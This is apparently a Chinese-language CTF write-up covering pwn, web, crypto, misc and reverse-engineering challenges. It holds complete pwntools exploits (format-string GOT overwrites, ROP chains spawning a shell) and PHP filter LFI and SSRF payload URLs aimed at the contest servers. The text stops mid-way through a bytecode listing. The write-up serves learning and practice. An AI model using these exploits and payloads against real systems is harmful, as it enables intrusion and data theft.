

# Pwn

## babyfmt

```
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ./babyfmtt
It's easy to PWN
aaaaaa
aaaaaa xiaoyuyu@ubuntu:~/ctf_test/hgame$ checksec babyfmtt
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/
cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.1
    Update with: $ pip install -U pwntools
[*] '/home/xiaoyuyu/ctf_test/hgame/babyfmtt'
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     Canary found
    NX:        NX enabled
    PIE:       No PIE (0x400000)
```

发现开了canary，结合题目感觉应该还是格式化字符串漏洞

题目里先看一下有什么可以利用的，可以看到有system和/bin/sh字符串，不错欸，在如下backdoor函数中

```
int backdoor()
{
    return system("/bin/sh");
}
```

那我们要做的就是绕过canary然后改掉rip，劫持程序流程就好咯

看一下main函数，如下

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char format; // [rsp+0h] [rbp-60h]
    unsigned __int64 v5; // [rsp+58h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    init();
    read_n((__int64)&format, 0x58u);
    printf(&format, 88LL);
    return 0;
}
```

可以看到canary的位置以及一上来说出easy to pwn的函数(qtmd)，然后是一个read\_n函数，然后是一个格式化字符串漏洞，init函数没看出来什么，再分析一下read\_n函数，如下

```
unsigned __int64 __fastcall read_n(__int64 a1, unsigned int a2)
{
    unsigned __int64 result; // rax
    unsigned int i; // [rsp+1Ch] [rbp-4h]

    for ( i = 0; ; ++i )
    {
        result = i;
        if ( i > a2 ) // limit is 88
            break;
        if ( read(0, (void *)((signed int)i + a1), 1uLL) < 0 )// read wrong
            exit(-1);
        if ( *(_BYTE *)((signed int)i + a1) == '\n' )// line to the end
        {
            result = (signed int)i + a1;
            *(_BYTE *)result = 0;
            return result; // return 0
        }
    }
    return result; // return length
}
```

容我三思，这咋利用.....即使泄露的canary，也没办法第二次利用

我一开始的想法是隔空改main函数的返回地址rip，用%n，偏移量还是在gdb里看，但后来发现可以直接改printf的got表，改成我们的后门函数的地址

从韬神那里盗来的，如下，对着改就行了

'%{\$n'.format(index)	// 解引用，写入四个字节
'%{\$hn'.format(index)	// 解引用，写入两个字节
'%{\$hhn'.format(index)	// 解引用，写入一个字节
'%{\$lln'.format(index)	// 解引用，写入八个字节

**handsomeAris**

```

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    char s[8]; // [rsp+0h] [rbp-20h]
    __int64 v5; // [rsp+8h] [rbp-18h]
    __int64 v6; // [rsp+10h] [rbp-10h]
    __int64 v7; // [rsp+18h] [rbp-8h]

    sub_400706();
    *(_QWORD *)s = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    puts(s2);
    puts("Repeat me!");
    fgets(s, 96, stdin);
    if ( s[strlen(s) - 1] == '\n' )
        s[strlen(s) - 1] = 0;
    if ( strcmp(s, s2) )
    {
        puts("You are not so Aris..");
        exit(1);
    }
    puts("Great! Power upupuppp!");
    return 0LL;
}

```

谢天谢地，没有canary，但是没给libc文件，也没有可以用的辅助我们泄露地址的函数，Dynerf函数了解一下

然后我们需要的/bin/sh字符串尝试着用fgets函数写入可读写的地址

但我DnyELF失败了，可以大概试一下主流的libc相关的偏移量，直接算偏移量倒是成功了，就是个基本的rop了哟，和bin培训的最后一题其实基本一样

exp

```

from pwn import *
context.log_level = 'debug'
elf = ELF("./handsomeariis")

local = 0
if local:
    p = process("./handsomeariis")
    # gdb.attach(p, '''b * 0x4007D7''')
else:
    p = remote('118.24.3.214', 11002)

p_rdi = 0x0400873
_start = 0x400610

leak = "Aris so handsooooome!\x00".ljust(0x20, 'a') + 'a'*0x08
leak += p64(p_rdi)
leak += p64(elf.got["puts"])

```

```

leak += p64(elf.plt["puts"])
leak += p64(_start)

p.sendlineafter("Repeat me!\n",leak)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success("puts->{:#x}".format(puts))
libc_base = puts - 0x06f690
system = libc_base + 0x045390
str_binsh = libc_base + 0x18cd57

rop = "Aris so handsooooome!\x00".ljust(0x20,'a') + 'a'*0x08
rop += p64(p_rdi)
rop += p64(str_binsh)
rop += p64(system)
rop += p64(_start)
p.sendlineafter("Repeat me!\n",rop)

p.interactive()

```

## 薯片拯救世界2

这种题目真的是很刺激

```

xiaoyuyu@ubuntu:~/ctf_test/vidar$ checksec ./CSTW2
[*] '/home/xiaoyuyu/ctf_test/vidar/CSTW2'
  Arch:             amd64-64-little
  RELRO:             Partial RELRO
  Stack:             Canary found
  NX:                NX enabled
  PIE:               No PIE (0x400000)

```

canary开启了，分析程序流程，有system，有/bin/sh，还不错，在backdoor函数被调用，main函数如下

```

{
    signed int i; // [rsp+8h] [rbp-28h]
    int v5; // [rsp+ch] [rbp-24h]

    init();
    puts("ch1p Save The World--Chapter 2");
    getchar();
    puts("传说勇者薯片有24个老婆，各自拥有不同的能力");
    getchar();
    puts("在薯片沉睡的时候，为了让24个老婆的能力也一起流传下来");
    getchar();
    puts("大祭司oyiadin使用魔法将薯片的老婆封印在了他的体内");
    getchar();
    puts("但由于各种限制，薯片只能选择他最喜欢的5个了");
    getchar();
    puts("没错...这5个人的名字就是--");
    for ( i = 1; i <= 5; ++i ) // story // 5 loop
    {
        printf("被封印的第%d个老婆是薯片的第几个老婆?\n", (unsigned int)i);
        putchar('>');
        v5 = read_int() - 1; // range[1,24]
        if ( v5 <= 23 )
        {
            puts("她的名字是?");
            putchar('>');
            read_n(16LL * v5 + 0x6020E0, 0x10u); // read in a dword
            num[i - 1] = v5; // restore the index
        }
        else
        {
            puts("请从1-24中选择一个");
            --i;
        }
    }
    printf(
        "对，被封印的老婆们就是%s,%s,%s,%s和%s\n",
        16LL * num[0] + 0x6020E0, // num[0] = 0x6020C0
        (char *)&names + 16 * dword_6020C4,
        (char *)&names + 16 * dword_6020C8,
        (char *)&names + 16 * dword_6020CC,
        (char *)&names + 16 * dword_6020D0);
    puts("今天，正是勇者薯片和他五个最爱的妻子团聚的时刻...");
    return 0;
}

```

仔细分析了一下，其实就是把你读入的五个数据读出来，就是你说chip老婆是谁就是谁（想得到美）


这一看我其实没看出什么漏洞，但毕竟里面有一个写入数据的操作，还是在bss字段上，不能放弃希望233

然后在尝试下，我好像发现了点问题，如下。貌似通过read\_n可以修改got表的内容，改成后门就好

exp:

```
from pwn import *
cn = process('./CSTW2')
cn.recvuntil('chapter 2')
cn.send('a'*5)
cn.recvuntil('老婆?\n')
cn.sendline('-9')
cn.recvuntil('字是?')
cn.sendline(p64(0x000000000040096A))
# 一大堆回车
cn.interactive()
```

## Steins;Gate2



```
xiaoyuyu@ubuntu:~/ctf_test/vidar$ checksec gate2
[*] '/home/xiaoyuyu/ctf_test/vidar/gate2'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

这题有个特点，开启了PIE

PIE(position-independent executable，地址无关可执行文件) 技术就是一个针对代码段.text, 数据段.data, .bss等固定地址的一个防护技术。同ASLR一样，应用了PIE的程序会在每次加载时都变换加载基址，从而使位于程序本身的gadget也失效。

其余流程和Gate1的流程差不多，还是利用格式化字符串漏洞，关键点就是bss字段基地址不固定，不像Gate1这么好找了，题目同样是留了一个system函数

绕过PIE防护的手段我没试过，要去慢慢学了，当然啦如果石头门1凉了，那就要先把石头门1做出来才行，毕竟还是要绕过canary的

链接: <https://bbs.ichunqiu.com/thread-43627-1-1.html>

第一招是0x01 partial write bypass PIE，我感觉和例子相比，我们要爆破的东西有点多

第二招是0x02 泄露地址bypass PIE，目前没有发现给我们泄露libc的机会

第三招是0x03 使用vdso/vsyscall bypass PIE，我记得aris的ubuntu版本的确是16.04，别问，问就是复制过他的虚拟机，好像的确是可以这样，但是第二周出感觉有点不当人，虽然经过了week1以及做了chip的pwn题后，我对他的认识有了翻天覆地的变化

最后我还是打算用第一种办法，但是我们要用到一个技能叫做Onegadget，大家可以百度一下，这个我也是这周才知道的

然后我又失败了，对不起，我太菜了，哭了，然后我们从概率学上分析一下(xia cai)

```

xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faea99a6000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb945cfd000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efc5425e000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f86b12d3000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5518c3c000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f54a493c000)

```

观众朋友们大家好，不难发现0x7f开头的概率特别高

随即地址共8位字符，我们开头就当他是0x7f，那那大概率要爆破 $\text{pow}(16,7)$ ，唉，遥遥无期，但是rdi还是没办法，是的，这是我失败的第五次了

后来最后的想法是通过修改低位地址来修改rip，来重复执行一遍程序，因为canary一直，第二次格式花字符串漏洞的时候就可以用来泄露pie的随机地址了，这次成功了，代码里的代码块我写了注释

exp:

```

#coding=utf8
from pwn import *
import binascii
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

local = 0

if local:
    cn = process('./gate2')
    bin = ELF('./gate2')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.24.3.214', 11003)
    bin = ELF('./gate2')
    #libc = ELF('')

def z(a=''):
    gdb.attach(cn, a)
    if a == '':
        raw_input()

#z('disassemble main\n\n')
cn.recvuntil('ID:')
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)

```

```
# leak rand num
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload3)
```

```
#leak canary
cn.recvuntil('Payment of past debts.')
payload4='%11$p'
cn.send(payload4)
#cn.recvline()
canary=cn.recvuntil("To seek the truth of the world.\n")[:-0x46]
canary=int(canary,16)
print(hex(canary))
```

```
#rop
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*0x08+'\xc0'+pie
cn.send(payload5)
```

```
#the second
print(cn.recvuntil('ID:'))
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload6=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload6)
```

```
#getk rand num
cn.recvuntil('man.')
payload7='%7$p'
cn.send(payload7)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload7=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload7)
```

```
#leak all pie
cn.recvuntil('Payment of past debts.')
payload8='%13$p'
cn.send(payload8)
```



```

pie=cn.recvuntil("To seek the truth of the world.\n")[:-73]
#print(pie)
pie=int(pie,16)<<12
print(hex(pie))

#getshell
system_addr=pie+0x958
rdi_addr=pie+0xe83
bin_sh=pie+0x202040
payload9='a'*(0x40-
0x10)+p64(0x2333)+p64(canary)+'a'*8+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)
cn.send(payload9)

cn.interactive()

```

## Web

### easy\_php

提示是robots以及代码审计，直接访问easyphp/robots.txt，发现img/index.php，再次访问发现了四个大字（没看懂），然后就是一段代码，估计就是代码审计

```

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

```

具体就是一个替换，我去搜了一个例子，如下

```

<?php
echo str_replace("world","Shanghai","Hello world!");
?>

```

这里把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai"

最后include\_once(\$img.".php"); 打开并执行这个文件

可以把指定php文件的源码以base64方式编码并被显示出来，百度链接：[https://blog.csdn.net/qg\\_29419013/article/details/81201494](https://blog.csdn.net/qg_29419013/article/details/81201494)

看完这个链接里的例子就会构造payload了，外加最后替换一下，payload如下

<http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=.../flag>

之后会获得一传base64，解码得

```
b'<?php\n    //$flag = \'hgame{You_4re_So_g0od}\';\n    echo "maybe_you_should_think_think";\n'
```

## PHP Is The Best Language

提示是var\_dump了解一下

源码如下

```
<?php

include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
    highlight_file(__FILE__);
    exit;
}

if (isset($_POST['door'])) {
    $secret = hash_hmac('sha256', $_POST['door'], $secret);
}

$gate = hash_hmac('sha256', $_POST['key'], $secret);

if ($gate !== $_POST['gate']) {
    echo "Hacker GetOut!!";
    exit;
}

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
    echo "Wow!!!";
    echo "</br>";
    echo $flag;
}
else {
    echo "Hacker GetOut!!";
}

?>
```

感觉像代码审计，有一个sha256和md5

要执行sha256的话，我这里不知道secret，这里有一个知识点让人意外，传入Array()的话而不是白能量的话，sha256的hash\_hmac会返回false，这点可以利用

然后接下来我去搜了一下var dump是啥，解释如下

此函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

例子：

```
<?php
$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>
```

output:

```
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}
```

那现在secret已经是false，我们只要把key的值弄出来就好

关键就是下面这句：

```
md5($_POST['key'])+1 == md5(md5($_POST['key']))+1
```

可以造成false==false的情况，然后得到true，我在线测试了一下字符串xiaoyuyu，就会输出都是1

然后计算gate，如下

```
<?php
$gate = hash_hmac('sha256', 'xiaoyuyu', false);
var_dump($gate);
?>
```

最后payload:

gate=43f086d6b2da8ca1afe2f47163634b57cc9b702c1fd6ee7a5ca816ec995616f0&key=xiaoyuyu&door[]=1

用hackbar post过去，得到hgame{Php\_MayBe\_Not\_Safe}

## php技巧

源码如下

```
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)$_GET['str1'];
```

```

$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fail');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

```

也太长了吧，现学php，看到了注释admin.php，路劲？

前两个step，就是字符串不同，但是md5的值相同

我搜到的解释：PHP在处理哈希字符串时，会利用“!=”或“==”来对哈希值进行比较，它把每一个以“0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以“0E”开头的，那么PHP将会认为他们相同，都是0。

所以我们需要两个md5之后是0e开头的字符串: s878926199a; s155964671a

传入?str1=s155964671a&str2=s878926199a&str3=s155964671a&str4=s878926199a之后, 显示step 4 fail

因为!=的关系, md5后的字符串要完全相等, 所以只能选择用md5不支持的类型, 来得到false=false

当我改成这样之后?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123, 直接跳到step 7了, 神奇

因为str5我们没传, 所以是null, 但之后要用str5来判断, 还是老老实实一步步绕过吧

搜了一下资料:

1.\$\_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组

2.\$\_SERVER["QUERY\_STRING"] 说明: 查询(query)的字符串

3.strpos — 查找字符串首次出现的位置, 不会对url解码

意思就是请求里面一定要有H\_game字符串(赋值给str5), 而且是urlencode之后的

目前payload:

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111

貌似数组真的很厉害, 这里原理我倒不是很清楚, 但数组的确可以绕过, 直接到step 9, 类似于无法比较的东西, 就跟NULL >= < NULL结果都是True

step 9: url的host是否为baidu

step 10: url的协议是否为http

但是不会用, 去搜一下parse\_url

例子:

```
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';
var_dump(parse_url($url));
?>
```

output:

```
array(8) {
  ["scheme"]=>
  string(4) "http"           //http
  ["host"]=>
  string(8) "hostname" //www.baidu.com
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username" //访问了admin.php之后, 知道要是localhost, 暂时不知道怎么弄
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"           //admin.php
  ["query"]=>
  string(9) "arg=value"
```

```
["fragment"]=>
string(6) "anchor"
}
```

目前的url: url=<http://@www.baidu.com/admin.php>

目前payload:

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111&url=<http://@www.baidu.com/admin.php>

但是还是不行, 应该是那个localhost的问题, 毕竟我还没绕过这个问题, 只能试试看了, 而且我也不知道curl是啥

学习链接: <https://www.cnblogs.com/manongxiaobing/p/4698990.html>

使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下几个步骤:

1. 初始化连接句柄;
2. 设置CURL选项;
3. 执行并获取结果;
4. 释放CURL连接句柄。

下面的程序片段是使用CURL发送HTTP的典型过程

例子:

```
// 1. 初始化
$ch = curl_init();
// 2. 设置选项, 包括URL
curl_setopt($ch, CURLOPT_URL, "http://www.devdo.net");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 3. 执行并获取HTML文档内容
$output = curl_exec($ch);
if($output === FALSE) {
    echo "CURL Error:".curl_error($ch);
}
// 4. 释放curl句柄
curl_close($ch);
```

curl解析的一个符合host格式的字符串, parse\_url解析最后一个

payload:

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111&url=<http://user@127.0.0.1:9000@www.baidu.com/admin.php>

显示step 11 fail, 貌似端口一定要是http访问端口, 傻了, 吧9000改成80就好

看见代码入下

```
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
```

```

}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

```

感觉第一个php可能有点像吧，第一个是get一个img，这里是get一个file

直接改改看吧.....filename=php://filter/convert.base64-encode/resource=flag.php

出来东西的，我真是个小机灵鬼

PD9waHAglGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHlxY2tzfSA/Pgo=

```

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

```

## Baby\_Spider

好像是个数学题，貌似和爬虫有关，40秒30个问题的确复制黏贴弄不过来

数学公式每次输入完token都会变，随机的

作为一个只知道BeautifulSoup的我，受益匪浅，什么selenium啊，chromedriver用起来

链接：

<https://www.cnblogs.com/zhaof/p/6953241.html>;

[https://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.common.action\\_chains](https://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.common.action_chains)

之后运行着运行着，会改变数字对应的关系，如下

ABCDEFGHIJKLM  
NOPQRSTUVWXYZ  
abcdefghijklm  
nopqrstuvwxyz  
0269435871

最后还有个坑不知道为什么，如下(不过这是js，题目要求是python3，我傻了)

```
eval(1617951382615947234)
1617951382615947300
```

并没有输出本身的值，所一在最后十次就直接打开css文件就好，因为div里面依然还是和之前一样的长算式，并不对，小田田在我做出来之后问我怎么做的，无意间发现一个题目的bug，233，无伤大雅，目前已经修好了

脚本：

```
# A simple code for crawling the information of the popular TF-lipsticks
import requests
import re
from time import sleep
from selenium import webdriver
from bs4 import BeautifulSoup

url = 'http://111.231.140.29:10000/'
token = 'x5xyk2j30gox8k0BGOG2mDc6ThgIcCgb'
data = {}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
    like Gecko) '
    'Chrome/70.0.3538.77 Safari/537.36'
}

# number change
change_table = {'1': '0', '2': '2', '3': '6',
                '4': '9', '5': '4', '6': '3',
                '7': '5', '8': '8', '9': '7',
```



```

        '0': '1'}

def change(num):
    flag = ""
    for i in num:
        if i in "1234567890":
            flag += change_table[i]
        else:
            flag += i
    return flag

# register
browser = webdriver.Chrome()
browser.get(url)
browser.find_element_by_class_name("layui-input").send_keys(token)
browser.find_element_by_class_name("layui-btn").click()

def get_ques(source):
    pattern = 'content:"(.*?)=\\?"'
    flag = re.search(pattern, source)
    if flag:
        return flag.group(1)
    else:
        return False

for i in range(30):
    if i < 10: # 前10次
        ques = browser.find_element_by_class_name("question-
container").find_element_by_tag_name("span").text
        result = str(eval(ques[:-2])) # 把=?去掉
        browser.find_element_by_class_name("layui-input").send_keys(result)
        browser.find_element_by_class_name("layui-btn").click()
    elif i < 20: # 当中10次
        ques = browser.find_element_by_class_name("question-
container").find_element_by_tag_name("span").text
        ques = change(ques)
        result = str(eval(ques[:-2]))
        browser.find_element_by_class_name("layui-input").send_keys(result)
        browser.find_element_by_class_name("layui-btn").click()
    else: # 最后10次
        js = 'window.open("http://111.231.140.29:10000/statics/style.css");'
        browser.execute_script(js)
        handles = browser.window_handles
        browser.switch_to.window(handles[1]) # 切换浏览器界面
        ques = get_ques(browser.page_source) # browser.page_source是获取网页的全部html
        browser.close()
        browser.switch_to.window(handles[0])
        result = str(eval(ques))
        browser.find_element_by_class_name("layui-input").send_keys(result)

```

```

        browser.find_element_by_class_name("layui-btn").click()

sleep(60)
print("Exit")
browser.quit()
# response = requests.get(url, headers=headers)
# html_doc = response.content
# # print(response.status_code)    #状态码
# # print(response.content.decode("utf-8")) #内容
#
# soup = BeautifulSoup(
#     html_doc,
#     'html.parser',
#     from_encoding='utf-8' # html文档编码#
# )
#
# TF_type = soup.find_all('a', href=re.compile(r"goods-"))
#
# for tf_type in TF_type:
#     # print(tf_type.name,tf_type['href'],tf_type.get_text())
#     print(tf_type.get_text())

```

## Crypto

### Vigener

在线解密，结尾有flag，网址：<http://68.168.134.3/vigener/>

### 浪漫的足球圣地

就一行密文

```

966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A9
96A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559

```

一共只有这几种密文：9、6、A、5

如果是两两结合：16种

问了下出题人，他让我百度，我还是有点懵，百度出来浪漫的足球圣地，曼彻斯特

然后搜曼彻斯特，一种曼彻斯特编码，佛了

解码之后的字符串如下

```

6867616D657B33663234653536373539316539636261623261376432663166373438613164347D

```

然后转换一下就好，脚本如下

```
s = '6867616D657B33663234653536373539316539636261623261376432663166373438613164347D'
flag = ''
for i in range(len(s)//2):
    flag += chr(int((s[2*i] + s[2*i+1]), 16))
print(flag)
```

## Misc

### 找得到我嘛？小火汁

感觉还是流量分析

wireshark打开，扫了一遍有看到zip

```
81 Request: SIZE /pub/test/secret.zip
64 Response: 213 2016
80 Request: CWD /pub/test/secret.zip
87 Response: 550 Failed to change directory.
```

要把它的数据流拉下来，我找了半天

```
FTP 1514 443 → 0701 [ACK] Seq=1200
FTP-DATA 1514 FTP Data: 1460 bytes
```

把这个zip拖出来，里面有日志文件，头部是# SSL/TLS secrets log file, generated by NSS

用wireshark解密之后，过滤出http，会发现一个1.tar，里面的文件没有格式，直接HexEditor打开，会发现头部写着flag.jpg，底下不远处有flag

## Re

### Pro的Python教室(二)

在线反编译pyc文件，代码如下

```
print "Welcome to Processor's Python Classroom Part 2!\n"
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
len = len(enc)
enc1 = []
enc2 = ''
aaa = 'ioavquaDb}x2ha4[~ifqZaujq#'
for i in range(len): # 输入的字符串
```

```

    if i % 2 == 0:
        enc1.append(chr(ord(enc[i]) + 1)) # 奇数位偏移量1
        continue
    enc1.append(chr(ord(enc[i]) + 2)) # 偶数位偏移量2

s1 = []
for x in range(3):
    for i in range(len):
        if (i + x) % 3 == 0: # 012012.....
            s1.append(enc1[i]) # 调整顺序:000.....222.....111.....
            continue

enc2 = enc2.join(s1)
if enc2 in aaa:
    print "You 're Right!"
else:
    print "You're Wrong!"
    exit(0)

```

顺序大概理清清楚了，脚本如下：

```

aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
print(len(aaa))
flag = ''
for i in range(9):
    flag += aaa[i] + aaa[i+18] + aaa[i+9]
print(flag)
flag = 'iibof}OqxaZ2vahquauj4aQ[D#~'
n = 1
flag_2 = ''
for i in flag:
    if n % 2 == 1:
        flag_2 += chr(ord(i) % 255 - 1)
    else:
        flag_2 += chr(ord(i) % 255 - 2)
    n += 1
print(flag_2)

```

## Pro的Python教室(三&四)

一些在线的pyc都反编译失败，uncompyle也是，看到提示说是byte code，在github上找了个工具pycdas还是不错的，这里还百读到了一个python变成byte code的模块dis，好像也很不错，以后可以看看

byte code如下

```

third.pyc (Python 2.7)
[Code]
File Name: third.py
Object Name: <module>
Arg Count: 0
Locals: 0
Stack Size: 5

```

Flags: 0x00000040 (CO\_NOFREE)

[Names]

'string'  
'list'  
'letters'  
'digits'  
'dec'  
'encode'  
'raw\_input'  
'enc'  
'lst'  
'reverse'  
'len'  
'llen'  
'range'  
'i'  
'chr'  
'ord'  
'enc2'  
'join'  
'enc3'

[Var Names]

[Free Vars]

[Cell Vars]

[Constants]

-1  
None  
'+'  
'/'  
'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUyghN'

[Code]

File Name: third.py

Object Name: encode

Arg Count: 1

Locals: 9

Stack Size: 7

Flags: 0x00000043 (CO\_OPTIMIZED | CO\_NEWLOCALS | CO\_NOFREE)

[Names]

'format'  
'str'  
'bin'  
'ord'  
'replace'  
'len'  
'join'  
'int'  
'letters'

[Var Names]

'input\_str'  
'i'  
'str\_ascii\_list'  
'output\_str'  
'equal\_num'

```

    'temp_list'
    'temp_str'
    'x'
    'temp_str_list'
[Free Vars]
[Cell Vars]
[Constants]
    None
    '{:0>8}'
    '0b'
    ''
    0
    3
    1
    '0'
    8
    6
    12
    18
    2
    4
    '='
    '00000000'
[Disassembly]
    0      BUILD_LIST      0
    3      LOAD_FAST      0: input_str
    6      GET_ITER
    7      FOR_ITER        51 (to 61)
    10     STORE_FAST      1: i
    13     LOAD_CONST      1: '{:0>8}'
    16     LOAD_ATTR        0: format
    19     LOAD_GLOBAL      1: str
    22     LOAD_GLOBAL      2: bin
    25     LOAD_GLOBAL      3: ord
    28     LOAD_FAST        1: i
    31     CALL_FUNCTION     1
    34     CALL_FUNCTION     1
    37     CALL_FUNCTION     1
    40     LOAD_ATTR        4: replace
    43     LOAD_CONST      2: '0b'
    46     LOAD_CONST      3: ''
    49     CALL_FUNCTION     2
    52     CALL_FUNCTION     1
    55     LIST_APPEND      2
    58     JUMP_ABSOLUTE    7
    61     STORE_FAST      2: str_ascii_list
    64     LOAD_CONST      3: ''
    67     STORE_FAST      3: output_str
    70     LOAD_CONST      4: 0
    73     STORE_FAST      4: equal_num
    76     SETUP_LOOP      264 (to 343)
    79     LOAD_FAST        2: str_ascii_list
    82     POP_JUMP_IF_FALSE 342

```

85	LOAD_FAST	2: str_ascii_list
88	LOAD_CONST	5: 3
91	SLICE_2	
92	STORE_FAST	5: temp_list
95	LOAD_GLOBAL	5: len
98	LOAD_FAST	5: temp_list
101	CALL_FUNCTION	1
104	LOAD_CONST	5: 3
107	COMPARE_OP	3 (!=)
110	POP_JUMP_IF_FALSE	164
113	SETUP_LOOP	48 (to 164)
116	LOAD_GLOBAL	5: len
119	LOAD_FAST	5: temp_list
122	CALL_FUNCTION	1
125	LOAD_CONST	5: 3
128	COMPARE_OP	0 (<)
131	POP_JUMP_IF_FALSE	160
134	LOAD_FAST	4: equal_num
137	LOAD_CONST	6: 1
140	INPLACE_ADD	
141	STORE_FAST	4: equal_num
144	LOAD_FAST	5: temp_list
147	LOAD_CONST	15: '00000000'
150	BUILD_LIST	1
153	INPLACE_ADD	
154	STORE_FAST	5: temp_list
157	JUMP_ABSOLUTE	116
160	POP_BLOCK	
161	JUMP_FORWARD	0 (to 164)
164	LOAD_CONST	3: ''
